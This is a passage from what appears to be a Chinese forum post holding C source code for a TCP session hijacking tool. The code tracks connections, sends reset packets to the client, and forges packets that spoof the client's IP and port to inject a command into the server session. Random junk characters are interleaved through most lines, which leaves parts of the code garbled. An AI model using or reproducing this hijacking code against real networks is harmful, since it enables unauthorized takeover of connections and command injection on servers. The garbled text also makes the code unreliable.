- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE);
: `$ b* M% Y6 }" B4 B# C9 f //reset action flag
) y% b/ ?# V* n ResetActionAllFlag(); , V1 J- x8 T! ?7 R0 S
}
% k. M4 J) i9 J/ N& c //start hijack : {$ E. G$ O% c: |# A
else if(g_dwAction == ACTION_HIJACK)
; d* F8 P5 f4 a1 b3 C/ x! e7 h { $ j" |( I' b1 m9 `! X/ V8 ]. m( ~
//send rst packet to client
+ @' D i, d, ]8 P$ d( o SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
! i/ ~9 k# g! \% i //send hijack packet to client
! l6 s" T: j8 o2 Q) ^& K SendHiJackPacket(pTCPPacket);
1 @ B9 H% U: R, e1 B1 r$ G% @; a //reset action flag
' D3 Q- L, ^5 _7 A( J ResetActionAllFlag(); + n2 w; s1 }2 _9 I( \
} & j: Y; L8 I& ]4 A$ s B
} ( K1 `4 X6 L* M# o, V+ I
//show the tcp data
4 W. y9 A9 S: O2 W# j3 Q if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
2 S$ ~/ [- }# B5 ~9 t: }) } { / e" F" t) R3 x" s3 G5 i4 n
ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); % L% [ J* a1 t
//暂不考虑IP、TCP头不是20字节的情况
# C- j1 p! W* y+ H* a0 ^1 { u, l //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
6 C3 f& b7 a0 X% o2 Z" J/ h pStr = (char *)pTCPPacket + 54;
/ A0 G+ c5 k q4 ^8 { for(i=0; i } 3 b! c& Z4 ~6 ]) Z. j0 F
} # V( X1 B' S6 E
//debug output
. P. b! |4 K' ]5 ? //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); * P! s( }" p1 X5 Z9 R# @ X" \9 O
}//end of analyse packets while ( d2 R7 q1 \+ p4 W4 {8 K' l0 _
}//end of recv packets while ; J9 b. [/ G2 j2 m
PacketFreePacket(lpRecvPacket); 4 Z% _/ v) D4 ~! H5 W s- Y
return 0;
y$ W+ n3 C& `/ m, z4 F}
/ j+ ?. ^/ d( i/ d; G8 ~7 j2 f- E& M8 m
: a4 s& g3 D. T$ }5 U0 B# c
//
3 o$ o8 K. M7 g//功能:操作记录所有连接信息的单向链表 ; n" }+ x Y! a& ~. @5 a- `6 m5 a
//
) l8 L( v- u0 T) wDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
9 w. I2 P5 y+ C7 V; f. O5 l! e USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
* ^- L, O; g% T7 }) E{
# M. J& f+ J5 t PCONNINFO pNew, pTmp; ( L5 |; u/ ?) p1 w
" ^ c5 c0 A. y1 h pTmp = g_pConnHead; 6 d& S5 M: c+ G2 `3 d1 V
while(pTmp) ( z+ {/ M7 O$ f0 B$ o
{
7 l/ U: b; y# i* Y+ _3 V# V if(pTmp->bActive)
# S% ]# h/ c+ B& I( R2 @0 Z {
3 L% p$ W' K! t0 ]0 K2 x! z1 | //found it
! ~8 P/ R2 Z* n, d3 U/ v# x if( (pTmp->dwServerIP == dwServerIP) && ; F" @5 k9 D- @) |& G; |: W
(pTmp->uServerPort == uServerPort) && 6 M. n* D8 n* Q' B& u) [
(pTmp->dwClientIP == dwClientIP) &&
, S% H8 W* ^. y (pTmp->uClientPort == uClientPort) )
# ~% h1 z* Y J% q* { { ; e0 N Q0 t) ]/ W
if(bDelete)
* c2 J8 t/ O* H" H1 d# o I8 Y {
H. f2 A3 Y- o/ E6 x( E {8 \ pTmp->bActive = FALSE; * B# j8 E+ C9 o0 [9 \( K
return 0;
9 U1 b/ h. f% i% y$ d/ \ }
0 l, p% o! i6 d" w else return pTmp->ident;
% p/ c; Y* z2 t6 [9 x2 |5 w; t }
4 E& V6 u5 S& d1 S } 0 o9 a# D/ G4 s X) R
pTmp = pTmp->Next;
0 E6 M9 }( V" v( S4 `( I' g2 U }
5 x/ h- M8 O- {8 N) Y7 H( F J, x //not found, create new node
q! a5 X3 w- e7 r0 u* |! } if( (!pTmp) && (!bDelete) && (bAddNew) )
* X( q$ E* O3 I, m" X { . o3 U; e1 {+ H C
//search unactive note
1 y" k% l' t F# ^- i }/ `6 M pTmp = g_pConnHead; 5 l" q; Z% j) }
while(pTmp) & M+ V3 m5 I7 k, s6 C% Y+ R
{ ! i/ ]$ i' Z. x' o0 X% u( M# f, X- Z# |
if(!pTmp->bActive) break;
1 o9 u; j, W6 ?, u' J' l J pTmp = pTmp->Next;
+ O6 I7 H3 v' {- |3 m } : H2 J9 t& e/ N4 U! h1 O) w
//found a unactive node
+ I) A3 _6 _2 V- {) P1 E if(pTmp)
. v9 {& C$ o1 v6 \% K0 k' _3 b$ \: K { 0 b7 p' ~ M* R0 c" O) ]9 o
pTmp->dwServerIP = dwServerIP; * w; S3 C! q+ O6 v8 n
pTmp->uServerPort = uServerPort; % K" K- ^" X2 m' U
pTmp->dwClientIP = dwClientIP; 9 w8 v+ I9 E! _) k- }, L4 _
pTmp->uClientPort = uClientPort; : w6 q3 t$ o1 N3 M
pTmp->bActive = TRUE; 3 E. |# R2 y3 b. m' N2 K
return pTmp->ident; / k- D b4 @5 B. ` |$ Z
} 7 D8 w" w- S) E% n _8 x6 @
//not found,create new node : `- N* t" s d" p C9 z
pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
1 z: ?; [1 @; c if(!pNew)
; v2 j3 x% ~5 h: n1 t$ p { . u# q, C8 e/ z
printf("malloc for link node error:%d\n", GetLastError());
+ \& U& \% m) k return 0; 1 N& E! u, H) K7 U) Y$ H
}
) U* i% G, z$ d2 i) s1 }2 ^ //fill the struct . l7 j( l6 }$ C5 `8 R
pNew->bActive = TRUE; ' H6 R( e2 _5 ?* ^6 u1 F2 {
pNew->dwServerIP = dwServerIP;
, d: H; v$ J6 D# D2 H ? pNew->uServerPort = uServerPort;
. C) o6 S; j& C" W! c* w pNew->dwClientIP = dwClientIP; : S5 V1 V+ u& E, V' h; @
pNew->uClientPort = uClientPort;
, g' A; A, k9 B, K A9 z1 |( n pNew->ident = ++g_ident; / T$ }3 I# {$ t9 p; s
pNew->Next = NULL;
8 t& H8 V( ^7 v0 r //add new node to link ' e* s& q+ K, A4 A* o
if(!g_pConnHead)
, ?8 k' D9 w4 x3 [ g_pConnHead = g_pConnLast = pNew; ! x7 T8 R; Z! [, x) Y p4 N$ }
else ' P, w6 C) _. f; I$ X
{
* r. F; u: z! l1 t g_pConnLast->Next = pNew; 6 ?8 \/ z2 y# M
g_pConnLast = pNew;
1 r9 C4 N& M4 W/ n } * O% T- H! P! y: b# A
return pNew->ident;
& T, L* ^ F1 j }
( @0 h6 V. X- x, b return 0; 1 d1 ^' H/ z. G# Y
} 1 d% p4 y1 P0 p! e. |& U2 N
) G5 u( b; a( H; o9 W//
+ F! P/ `9 |7 C m//功能:判断一个数据包是不是只有ACK标志
X' D/ K0 f, p. V6 R0 f# d; r3 }) f//
& w; f0 O5 k1 B v. pBOOL IsACKPacket(unsigned char flag)
; q% M! `: m% a/ n% |! J* {{
) p/ V7 M# X, V* N- G+ Y% N int i, j=1;
: x* S, [2 O0 k for(i=0 ; i<4; i++)
/ J: P& o, A+ C) U { 8 T8 L. i. E# t: m5 U
if(flag & j) return FALSE;
4 o* x1 r4 [6 s+ X5 W5 ? j <<= 1;
& `% ^6 v* s# D/ ^8 g y8 P0 L } & ]* `9 v* M6 h5 |
if(!(flag & 0x10)) return FALSE;//is ack?
6 \) [- ]4 @% C( ^/ n if(flag & 0x20) return FALSE;
- n$ s1 A& A- a( D return TRUE;
+ D5 r7 X$ y$ }& d9 }( j9 l}
3 L9 U: p# j; H4 s7 ]( e: X4 t1 u
# d% D' z( j! [" v$ S) L: n//
4 U/ n+ A v6 b//功能:伪装成Client给Server发送数据包
6 r) M- I- K8 j; h! @9 r/ V, o// 4 n- U v: s& K. V" t% ]
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
' r6 h6 W% f1 R" A{ 7 e, X& Y" y' ^& W6 }0 j& N
v0 y4 i/ i" W, e6 p5 [+ R1 h0 O7 W
char szBuff[1520]; 4 F4 X" t6 \" ~8 x' n" G
PSDHDR psdhdr;
: m. C5 R& _4 [& V' j, V PTCPPACKET pHiJackPacket = NULL; $ A5 x. x. D+ ?% a) ]% V
BOOL bRet = FALSE;
. f( j% F) o6 G& \1 } O3 e5 F, p& I0 u* e2 w$ z
__try " a! s! q8 u2 c& P) w
{ . x$ j, `, w- p" U* H
//
; X5 Q1 M) j. a5 o$ e if(!g_pCurrCtrlConn) __leave;
9 P+ f" A! u% P0 U9 O2 Z0 S //allocate memory for hijack packet
: i* X5 K) ?/ a. ?9 K9 [ pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
# H" m, b) Q: p/ K, z if(!pHiJackPacket)
& x0 G1 n- h0 v% {; H; c0 `3 B3 U {
0 i& e0 g+ l2 W printf("malloc error:%d\n", GetLastError()); 6 M" F8 ~: b( I- i8 b G
__leave;
' p1 D4 C, [! ?8 k o: a } 5 h" u' d3 z5 Q
memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
" Q# d$ @5 k2 R! G3 Q! T //-------------- modify the packet ---------------//
3 Q( ?. N& j& w( Z2 a+ @4 b //modify ethernet head - j% S% p9 [4 j
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6); 2 ^; }2 b6 i$ e* F
memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
3 X) ~* L, `* o% B4 p6 y, a //modify ip head
# u' |% O; G: N7 z5 E, d pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
. J! B! H; Z: J1 n% q. ?7 K& J: P pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); 2 l2 u8 L( y3 w4 T
pHiJackPacket->iphdr.ident += 1;//标识加1
6 S0 m+ ? I& F0 I* [ pHiJackPacket->iphdr.checksum = 0; # \& V f# ]2 _) c& L) n
pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client
, ?# M. P- [7 q; l7 v2 h8 \% m2 g/ M pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
M3 ~/ r* G0 Q W$ `) } //modify tcp head e9 k* y7 h0 V
pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port ; M( ] T+ n, e
pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port " R% u3 e& {" n' b: |6 Z7 ]
pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); 0 s% { r; Z6 Z2 @' d
pHiJackPacket->tcphdr.th_flag = 0x18;// PA ' ^7 C( L$ l* {
pHiJackPacket->tcphdr.th_sum = 0; 6 }/ V7 L& q8 T1 J \& S5 }, r9 ~
pHiJackPacket->tcphdr.th_win = 0x3F44; 3 K1 y: h) a; r
//fill tcp psd head 1 D9 j a T7 l& k0 U
psdhdr.saddr = pHiJackPacket->iphdr.sourceIP; 8 J! a" }7 Q9 m8 V) j% U
psdhdr.daddr = pHiJackPacket->iphdr.destIP; 6 P% k8 }$ g/ \
psdhdr.mbz = 0; 4 k* c" ~! C% s6 {8 g6 g# k( [9 V
psdhdr.ptcl = IPPROTO_TCP; * r* W( N [9 Y/ H; ?( `+ {
psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len & l0 ?- B( A5 F
//calculate tcp checksum
( `2 p5 z4 q% p& O memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
) M- V8 L4 A$ B% m. e memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); # t: \# F8 i3 ^% O/ d! K
memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
" ?2 ]7 P( t' j4 P4 {0 F pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
0 W8 Y) b4 U: }9 f9 ` //calculate IP checksum
9 Y! T% T: M2 U. W: ] pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); 6 M4 m; X: F5 ^ J# K& @1 i
//fill send buffer - d1 H4 }. W. e8 J; R7 I
memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 6 m' D' D/ L" a
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); 3 t# v0 W3 J: b% g* K3 e
memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
9 ^. ]' _( ?- y) M2 q8 | memset(g_lpSendPacket->Buffer, 0, 1514);
) C7 }+ o* l5 T/ U/ D) I& } memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); 4 K+ A% P1 `3 V# F, x
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
8 n8 j$ l: G. W2 z( b {
* {- L* u8 E# Q printf("Error sending the hijack packets!\n");
) X3 n6 S) H* R4 I& T2 s- I- B+ u7 S __leave;
6 Q6 b/ U& C C' s4 g } # g( I7 g- o( K) J3 r, d+ R! [
else printf("Send hijack packet ok!\n"); 9 K3 I2 |) B7 Q8 V6 F8 E
bRet = TRUE; ! o! @' M$ s. {* J, @
} |
|